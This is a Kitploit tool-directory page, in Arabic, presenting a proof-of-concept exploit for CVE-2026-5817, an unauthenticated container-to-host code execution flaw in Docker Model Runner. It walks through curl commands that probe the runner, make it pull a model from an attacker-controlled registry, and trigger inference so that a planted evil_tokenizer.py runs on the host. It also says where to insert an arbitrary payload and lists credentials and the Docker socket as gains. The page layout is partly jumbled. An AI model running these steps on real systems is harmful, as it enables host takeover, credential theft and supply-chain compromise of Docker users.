Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5817-PoC — RCE / هروب من الحاوية إلى المضيف في Docker Model Runner: ثغرة أمنية حرجة تتيح تنفيذ التعليمات البرمجية من الحاوية إلى المضيف في الواجهة الخلفية للاستدلال MLX / SGLANG / VLLM الخاصة بـ Docker Model Runner. | Kitploit
أدوات/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
أمن الحاوياتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالأمن سلسلة التوريدالهروب من الحاويةأمن الذكاء الاصطناعي
GitHubgouldnicholas/cve-2026-5817-poc

CVE-2026-5817-PoC

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

RCE / هروب من الحاوية إلى المضيف في Docker Model Runner: ثغرة أمنية حرجة تتيح تنفيذ التعليمات البرمجية من الحاوية إلى المضيف في الواجهة الخلفية للاستدلال MLX / SGLANG / VLLM الخاصة بـ Docker Model Runner.

عرض المستودع
7منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-5817: Docker Model Runner RCE من الحاوية إلى المضيف / هروب

يمكن لأي حاوية تعمل على مضيف Docker Desktop (من 4.40.0 إلى 4.67.x) تشغيل كود على المضيف باستخدام طلبَي HTTP فقط. دون ربط مقبس (socket mount)، ودون --privileged، ودون صلاحيات (caps).

كيف

يمكن لأي حاوية الوصول إلى Model Runner على العنوان model-runner.docker.internal دون مصادقة. فهو يسحب النماذج من أي سجل OCI توجّهه إليه ويخزّنها دون التحقق من الـ digests. وتحمّل الخلفيات Python (vLLM وMLX وSGLang) النموذج باستخدام trust_remote_code=True (أو في حالة MLX لا يعترف حتى بـ trust remote code في مدخلات إعداده)، مما يستورد أي ملف .py يشير إليه النموذج في tokenizer_config.json. يعمل ملف .py هذا بصلاحيات مستخدم سطح المكتب.

سيناريو الهجوم

الوضعية الابتدائية: يمتلك المهاجم قدرة تنفيذ كود داخل أي حاوية على المضيف. مثل صورة قاعدة خبيثة، أو تثبيت npm/pip خبيث في بيئة تطوير، أو عدّاء CI يشغّل كودًا يتحكم به المهاجم، إلخ. دون ربط مقبس Docker، ودون --privileged، ودون صلاحيات إضافية.

  1. استكشاف Model Runner.

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    يعني رمز HTTP 200 أن Model Runner يعمل ويمكن الوصول إليه من هذه الحاوية. لا حاجة لمصادقة ولا إلى ترويسة Origin.

  2. تشغيل سجل OCI خبيث. أي خادم HTTP يطبّق مواصفات توزيع OCI يعمل. يجب أن يكون السجل قابلاً للوصول من المضيف (Model Runner يعمل على المضيف، وليس داخل الحاوية). إمّا أن تستضيفه على الإنترنت العام، أو تشغّله محليًا وتنشر منفذًا (docker-compose.yml يفعل الأخير لهذا الـ PoC). يقدّم السجل نموذج Llama صالحًا بالحد الأدنى حيث يحتوي tokenizer_config.json على auto_map يشير إلى evil_tokenizer.py. evil_tokenizer.py هو الحمولة على المضيف. انظر rce_registry.py.

  3. اجعل Model Runner يسحب من السجل الخاص بك.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    يقوم Model Runner بتنزيل الـ manifest ثم كل blob ويكتبها في مخزنه على القرص. لا يعاد حساب أي digest أو مقارنته، ولا يوجد فحص توقيعات. النموذج الخبيث مثبَّت الآن.

  4. شغّل الاستدلال (inference) كي يُحمَّل النموذج.

    root@kitploit:~

إدخال الحمولة

استبدل الأسطر من rce_registry.py:45-105 بحمولة عشوائية.

المتطلبات

  • Docker Desktop >= 4.40.0 و < 4.68.0 (أُدرج Model Runner في 4.40.0، وعُطل الخطأ في 4.68.0)، مع تفعيل Model Runner
  • خلفية Python مثبّتة (vllm-metal أو vLLM أو MLX أو SGLang)
  • Python 3 على المضيف

التشغيل

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

يُكتب دليل الإثبات في /tmp/poc_rce_proof.

الملفات

  • rce_registry.py – سجل OCI وهمي، يقدّم نموذج Llama بالحد الأدنى بالإضافة إلى evil_tokenizer.py
  • test_claims.py – يتحقق من كل ادعاء مقابل المصدر والنظام قيد التشغيل
  • run_poc.sh – غلاف (wrapper)
  • docker-compose.yml – السجل وحاوية المهاجم غير المميَّزة
  • Dockerfile.registry, Dockerfile.attacker – الصور

الثغرات ذات الصلة

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
تنزيل الأداة
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'

يختار Model Runner خلفية Python (vLLM أو MLX أو SGLang) ويشغّلها مع الوسيط --model <bundle_dir> مشيرًا إلى النموذج المخزّن. تستدعي الخلفية AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). يقرأ Transformers ملف tokenizer_config.json، ويرى auto_map، ثم يستورد evil_tokenizer.py من دليل الحزمة. يُنفَّذ الكود على مستوى الوحدة أثناء الاستيراد.

  • تُنفَّذ الحمولة على المضيف. تعمل بصلاحيات مستخدم Docker Desktop، خارج أي حاوية، مع وصول كامل لنظام الملفات والشبكة الخاص بالمستخدم. عادةً يفشل الاستدلال نفسه (النموذج صغير جدًا ليعمل فعلًا) لكن ذلك لا يهم، فالاستيراد حدث أولًا.

  • ماذا يمنح ذلك المهاجم؟

    • يمكن الوصول إلى /var/run/docker.sock. التحكم في الخفيّة (daemon): إنشاء حاويات مميَّزة (privileged)، وتركيب نظام ملفات المضيف داخل إحداها، والتنفيذ داخل حاويات أخرى، إلخ.
    • يحوي ~/.docker/config.json بيانات اعتماد لكل سجل دخول المستخدم إليه. انعطاف في سلسلة التوريد: دفع صور خبيثة إلى أعلى السلسلة.
    • مفاتيح SSH، وبيانات اعتماد سحابية، وملفات تعريف المتصفح، وأشجار المصدر، وأي شيء يمكن للمستخدم قراءته.
    • عبر الخفيّة، يمكن أيضًا الوصول إلى كل حاوية أخرى تعمل على المضيف.